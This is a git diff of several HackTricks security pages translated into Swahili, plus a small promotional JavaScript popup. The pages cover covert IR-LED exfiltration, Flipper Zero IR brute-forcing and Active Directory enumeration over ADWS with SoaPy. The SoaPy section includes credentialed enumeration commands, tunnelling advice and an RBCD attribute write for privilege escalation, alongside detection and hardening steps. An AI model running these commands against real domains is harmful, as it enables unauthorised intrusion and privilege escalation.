Mikamera ya usalama, routers au hata flash drives za uhalifu mara nyingi zinajumuisha **LED za IR za kuona usiku**. Utafiti unaonyesha kuwa malware inaweza kubadilisha hizi LED (<10–20 kbit/s na OOK rahisi) ili **kuhamasisha siri kupitia kuta na madirisha** kwa kamera ya nje iliyowekwa mita kadhaa mbali. Kwa sababu mwanga uko nje ya wigo unaoonekana, waendeshaji mara nyingi hawaoni. Hatua za kupambana:
|
||||
Mikamera ya usalama, routers au hata flash drives za uhalifu mara nyingi zinajumuisha **LED za IR za kuona usiku**. Utafiti unaonyesha kuwa malware inaweza kubadilisha hizi LED (<10–20 kbit/s kwa OOK rahisi) ili **kuhamasisha siri kupitia kuta na madirisha** kwa kamera ya nje iliyowekwa mita kumi mbali. Kwa sababu mwanga uko nje ya wigo unaoonekana, waendeshaji mara nyingi hawaoni. Hatua za kupambana:
|
||||
|
||||
* Ficha kimwili au ondoa LED za IR katika maeneo nyeti
|
||||
* Fuata mzunguko wa LED wa kamera na uadilifu wa firmware
|
||||
@ -92,7 +92,7 @@ Mshambuliaji pia anaweza kutumia projector za IR zenye nguvu ili **kuingiza** am
|
||||
|
||||
### Long-Range Brute-Force & Extended Protocols with Flipper Zero 1.0
|
||||
|
||||
Firmware 1.0 (Septemba 2024) iliongeza **mifumo ya ziada ya IR na moduli za nguvu za nje**. Imeunganishwa na hali ya brute-force ya remote ya ulimwengu mzima, Flipper inaweza kuzima au kubadilisha mipangilio ya televisheni/AC nyingi za umma kutoka hadi 30 m kwa kutumia diode yenye nguvu kubwa.
|
||||
Firmware 1.0 (Septemba 2024) iliongeza **mifumo ya ziada ya IR na moduli za nguvu za nje**. Imeunganishwa na hali ya brute-force ya universal-remote, Flipper inaweza kuzima au kubadilisha mipangilio ya televisheni/AC nyingi za umma kutoka hadi mita 30 kwa kutumia diode yenye nguvu kubwa.
|
||||
|
||||
---
|
||||
|
||||
@ -117,8 +117,8 @@ sender.sendNEC(0x20DF10EF, 32); // Samsung TV Power
|
||||
delay(5000);
|
||||
}
|
||||
```
|
||||
* **IRscrutinizer / AnalysIR** – decoders za GUI zinazounga mkono captures za raw na kujiandikisha protokali + kuunda msimbo wa Pronto/Arduino.
|
||||
* **LIRC / ir-keytable (Linux)** – pokea na ingiza IR kutoka kwenye mstari wa amri:
|
||||
* **IRscrutinizer / AnalysIR** – decoders za GUI zinazounga mkono captures za raw na kutambua protokali kiotomatiki + kuunda msimbo wa Pronto/Arduino.
|
||||
* **LIRC / ir-keytable (Linux)** – pokea na ingiza IR kutoka kwa mstari wa amri:
|
||||
```bash
|
||||
sudo ir-keytable -p nec,rc5 -t # live-dump decoded scancodes
|
||||
irsend SEND_ONCE samsung KEY_POWER
|
||||
@ -128,7 +128,7 @@ irsend SEND_ONCE samsung KEY_POWER
|
||||
|
||||
## Defensive Measures <a href="#defense" id="defense"></a>
|
||||
|
||||
* Zima au funika mpokeaji wa IR kwenye vifaa vilivyowekwa katika maeneo ya umma wakati havihitajiki.
|
||||
* Zima au funika wapokeaji wa IR kwenye vifaa vilivyowekwa katika maeneo ya umma wakati havihitajiki.
|
||||
* Lazimisha *kuunganishwa* au ukaguzi wa kijasusi kati ya smart-TVs na remotes; tengeneza nambari za "huduma" zenye haki.
|
||||
* Tumia filters za IR-cut au detectors za mawimbi ya kuendelea karibu na maeneo yaliyotengwa ili kuvunja njia za siri za macho.
|
||||
* Fuata uadilifu wa firmware wa kamera/vifaa vya IoT vinavyofichua LED za IR zinazoweza kudhibitiwa.
|
||||
|
@ -4,29 +4,29 @@
|
||||
|
||||
## What is ADWS?
|
||||
|
||||
Active Directory Web Services (ADWS) **imewezeshwa kwa default kwenye kila Domain Controller tangu Windows Server 2008 R2** na inasikiliza kwenye TCP **9389**. Licha ya jina, **hakuna HTTP inayohusika**. Badala yake, huduma hii inaonyesha data ya mtindo wa LDAP kupitia seti ya protokali za umiliki za .NET:
|
||||
Active Directory Web Services (ADWS) **imewezeshwa kwa default kwenye kila Domain Controller tangu Windows Server 2008 R2** na inasikiliza kwenye TCP **9389**. Licha ya jina, **hakuna HTTP inayohusika**. Badala yake, huduma hii inatoa data ya mtindo wa LDAP kupitia seti ya protokali za umiliki za .NET:
|
||||
|
||||
* MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
|
||||
|
||||
Kwa sababu trafiki imefungwa ndani ya hizi binary SOAP frames na inasafiri kupitia bandari isiyo ya kawaida, **kuhesabu kupitia ADWS kuna uwezekano mdogo wa kukaguliwa, kuchujwa au kusainiwa kuliko trafiki ya kawaida ya LDAP/389 & 636**. Kwa waendeshaji hii inamaanisha:
|
||||
Kwa sababu trafiki imefungwa ndani ya hizi frames za SOAP za binary na inasafiri kupitia bandari isiyo ya kawaida, **kuhesabu kupitia ADWS kuna uwezekano mdogo wa kukaguliwa, kuchujwa au kusainiwa kuliko trafiki ya kawaida ya LDAP/389 & 636**. Kwa waendeshaji hii inamaanisha:
|
||||
|
||||
* Utafiti wa siri – Timu za buluu mara nyingi hujikita kwenye maswali ya LDAP.
|
||||
* Uhuru wa kukusanya kutoka **kwa mwenyeji asiye wa Windows (Linux, macOS)** kwa kutoboa 9389/TCP kupitia SOCKS proxy.
|
||||
* Data sawa ambayo ungeweza kupata kupitia LDAP (watumiaji, vikundi, ACLs, muundo, nk.) na uwezo wa kufanya **kuandika** (mfano `msDs-AllowedToActOnBehalfOfOtherIdentity` kwa **RBCD**).
|
||||
* Uhuru wa kukusanya kutoka **kwa mwenyeji asiye wa Windows (Linux, macOS)** kwa kutunga 9389/TCP kupitia proxy ya SOCKS.
|
||||
* Data sawa unayoweza kupata kupitia LDAP (watumiaji, vikundi, ACLs, muundo, nk.) na uwezo wa kufanya **kuandika** (kwa mfano `msDs-AllowedToActOnBehalfOfOtherIdentity` kwa **RBCD**).
|
||||
|
||||
> NOTE: ADWS pia inatumika na zana nyingi za RSAT GUI/PowerShell, hivyo trafiki inaweza kuchanganyika na shughuli halali za admin.
|
||||
|
||||
## SoaPy – Native Python Client
|
||||
|
||||
[SoaPy](https://github.com/logangoins/soapy) ni **utekelezaji kamili wa protokali ya ADWS katika Python safi**. Inaunda NBFX/NBFSE/NNS/NMF frames byte kwa byte, ikiruhusu ukusanyaji kutoka kwa mifumo kama Unix bila kugusa .NET runtime.
|
||||
[SoaPy](https://github.com/logangoins/soapy) ni **utekelezaji kamili wa protokali ya ADWS katika Python safi**. Inaunda frames za NBFX/NBFSE/NNS/NMF byte kwa byte, ikiruhusu ukusanyaji kutoka kwa mifumo kama Unix bila kugusa runtime ya .NET.
|
||||
|
||||
### Key Features
|
||||
|
||||
* Inasaidia **proxying kupitia SOCKS** (inayofaa kutoka kwa C2 implants).
|
||||
* Filters za utafutaji zenye undani sawa na LDAP `-q '(objectClass=user)'`.
|
||||
* Operesheni za hiari za **kuandika** ( `--set` / `--delete` ).
|
||||
* Operesheni za **kuandika** za hiari ( `--set` / `--delete` ).
|
||||
* **BOFHound output mode** kwa ajili ya uingizaji wa moja kwa moja katika BloodHound.
|
||||
* `--parse` flag ili kuboresha alama za muda / `userAccountControl` wakati usomaji wa kibinadamu unahitajika.
|
||||
* `--parse` bendera ya kupamba alama za muda / `userAccountControl` wakati usomaji wa kibinadamu unahitajika.
|
||||
|
||||
### Installation (operator host)
|
||||
```bash
|
||||
@ -38,7 +38,7 @@ The following workflow shows how to enumerate **domain & ADCS objects** over ADW
|
||||
|
||||
1. **Tunnel 9389/TCP** kutoka kwenye mtandao wa lengo hadi kwenye sanduku lako (kwa mfano kupitia Chisel, Meterpreter, SSH dynamic port-forward, n.k.). Export `export HTTPS_PROXY=socks5://127.0.0.1:1080` au tumia SoaPy’s `--proxyHost/--proxyPort`.
|
||||
|
||||
2. **Kusanya kitu cha msingi cha domain:**
|
||||
2. **Kusanya kituo cha msingi cha domain:**
|
||||
```bash
|
||||
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
|
||||
-q '(objectClass=domain)' \
|
||||
@ -56,7 +56,7 @@ soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
|
||||
```bash
|
||||
bofhound -i data --zip # produces BloodHound.zip
|
||||
```
|
||||
5. **Pakia ZIP** kwenye GUI ya BloodHound na uendeshe maswali ya cypher kama `MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c` ili kufichua njia za kupandisha cheo za cheti (ESC1, ESC8, n.k.).
|
||||
5. **Pakia ZIP** kwenye GUI ya BloodHound na uendeshe maswali ya cypher kama `MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c` ili kufichua njia za kupandisha cheo za cheti (ESC1, ESC8, nk).
|
||||
|
||||
### Kuandika `msDs-AllowedToActOnBehalfOfOtherIdentity` (RBCD)
|
||||
```bash
|
||||
@ -68,21 +68,21 @@ Patanisha hii na `s4u2proxy`/`Rubeus /getticket` kwa mnyororo kamili wa **Resour
|
||||
|
||||
## Ugunduzi & Uimarishaji
|
||||
|
||||
### Kurekodi kwa Kina ADDS
|
||||
### Kurekodi kwa ADDS kwa Maelezo Mengi
|
||||
|
||||
wezesha funguo zifuatazo za rejista kwenye Watawala wa Kikoa ili kuonyesha utafutaji ghali / usio na ufanisi unaotoka kwenye ADWS (na LDAP):
|
||||
wezesha funguo zifuatazo za rejista kwenye Watawala wa Kikoa ili kuonyesha utafutaji mzito / usio na ufanisi unaotoka kwenye ADWS (na LDAP):
|
||||
```powershell
|
||||
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD
|
||||
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD
|
||||
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value 0 -Type DWORD
|
||||
```
|
||||
Mifano itatokea chini ya **Directory-Service** na kichujio kamili cha LDAP, hata wakati ombi lilifika kupitia ADWS.
|
||||
Mifano ya matukio itaonekana chini ya **Directory-Service** na kichujio kamili cha LDAP, hata wakati ombi lilifika kupitia ADWS.
|
||||
|
||||
### SACL Canary Objects
|
||||
### Vitu vya SACL Canary
|
||||
|
||||
1. Unda kitu cha dummy (mfano, mtumiaji aliyezuiliwa `CanaryUser`).
|
||||
2. Ongeza **Audit** ACE kwa _Everyone_ principal, iliyokaguliwa kwenye **ReadProperty**.
|
||||
3. Wakati mshambuliaji anapofanya `(servicePrincipalName=*)`, `(objectClass=user)` nk, DC inatoa **Event 4662** ambayo ina SID halisi ya mtumiaji – hata wakati ombi linapokuwa na proxy au linatoka ADWS.
|
||||
3. Kila wakati mshambuliaji anapofanya `(servicePrincipalName=*)`, `(objectClass=user)` n.k. DC inatoa **Event 4662** ambayo ina SID halisi ya mtumiaji – hata wakati ombi linapokuwa na proxy au linatoka ADWS.
|
||||
|
||||
Mfano wa sheria iliyojengwa awali ya Elastic:
|
||||
```kql
|
||||
|
@ -20,7 +20,7 @@ adws-enumeration.md
|
||||
|
||||
### Matumizi ya haraka
|
||||
|
||||
1. Anza zana na uungane na `dc01.corp.local` kwa akidi yoyote ya domain.
|
||||
1. Anza chombo na uungane na `dc01.corp.local` kwa akidi yoyote ya domain.
|
||||
2. Unda picha ya mbali kupitia `File ➜ Create Snapshot`.
|
||||
3. Linganisha picha mbili kwa `File ➜ Compare` ili kugundua mabadiliko ya ruhusa.
|
||||
|
||||
@ -71,7 +71,7 @@ Group3r.exe -f gpo.log # -s to stdout
|
||||
|
||||
## PingCastle
|
||||
|
||||
[PingCastle](https://www.pingcastle.com/documentation/) inatekeleza **uchunguzi wa afya** wa Active Directory na inaunda ripoti ya HTML yenye alama za hatari.
|
||||
[PingCastle](https://www.pingcastle.com/documentation/) inafanya **ukaguzi wa afya** wa Active Directory na kuunda ripoti ya HTML yenye alama za hatari.
|
||||
```powershell
|
||||
PingCastle.exe --healthcheck --server corp.local --user bob --password "P@ssw0rd!"
|
||||
```
|
||||
|
24
theme/ai.js
24
theme/ai.js
@ -1,6 +1,6 @@
|
||||
/**
|
||||
* HackTricks Training Discounts
|
||||
*/
|
||||
|
||||
|
||||
|
||||
(() => {
|
||||
@ -9,13 +9,13 @@
|
||||
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
||||
const URL = 'https://training.hacktricks.xyz';
|
||||
|
||||
/* Stop if user already dismissed */
|
||||
// Stop if user already dismissed
|
||||
if (localStorage.getItem(KEY) === 'true') return;
|
||||
|
||||
/* Quick helper */
|
||||
// Quick helper
|
||||
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
|
||||
|
||||
/* --- Overlay (blur + dim) --- */
|
||||
// --- Overlay (blur + dim) ---
|
||||
const overlay = $('div', `
|
||||
position: fixed; inset: 0;
|
||||
background: rgba(0,0,0,.4);
|
||||
@ -24,7 +24,7 @@
|
||||
z-index: 10000;
|
||||
`);
|
||||
|
||||
/* --- Modal --- */
|
||||
// --- Modal ---
|
||||
const modal = $('div', `
|
||||
max-width: 90vw; width: 480px;
|
||||
background: #fff; border-radius: 12px; overflow: hidden;
|
||||
@ -33,10 +33,10 @@
|
||||
display: flex; flex-direction: column; align-items: stretch;
|
||||
`);
|
||||
|
||||
/* --- Title bar (link + close) --- */
|
||||
// --- Title bar (link + close) ---
|
||||
const titleBar = $('div', `
|
||||
position: relative;
|
||||
padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
|
||||
padding: 1rem 2.5rem 1rem 1rem; // room for the close button
|
||||
text-align: center;
|
||||
background: #222; color: #fff;
|
||||
font-size: 1.3rem; font-weight: 700;
|
||||
@ -53,7 +53,7 @@
|
||||
link.textContent = TXT;
|
||||
titleBar.appendChild(link);
|
||||
|
||||
/* Close "X" (no persistence) */
|
||||
// Close "X" (no persistence)
|
||||
const closeBtn = $('button', `
|
||||
position: absolute; top: .25rem; right: .5rem;
|
||||
background: transparent; border: none;
|
||||
@ -65,11 +65,11 @@
|
||||
closeBtn.onclick = () => overlay.remove();
|
||||
titleBar.appendChild(closeBtn);
|
||||
|
||||
/* --- Image --- */
|
||||
// --- Image ---
|
||||
const img = $('img');
|
||||
img.src = IMG; img.alt = TXT; img.style.width = '100%';
|
||||
|
||||
/* --- Checkbox row --- */
|
||||
// --- Checkbox row ---
|
||||
const label = $('label', `
|
||||
display: flex; align-items: center; justify-content: center; gap: .6rem;
|
||||
padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
|
||||
@ -83,7 +83,7 @@
|
||||
};
|
||||
label.append(cb, document.createTextNode("Don't show again"));
|
||||
|
||||
/* --- Assemble & inject --- */
|
||||
// --- Assemble & inject ---
|
||||
modal.append(titleBar, img, label);
|
||||
overlay.appendChild(modal);
|
||||
|
||||
@ -93,7 +93,7 @@
|
||||
document.body.appendChild(overlay);
|
||||
}
|
||||
})();
|
||||
|
||||
*/
|
||||
|
||||
|
||||
/**
|
||||
|
Loading…
x
Reference in New Issue
Block a user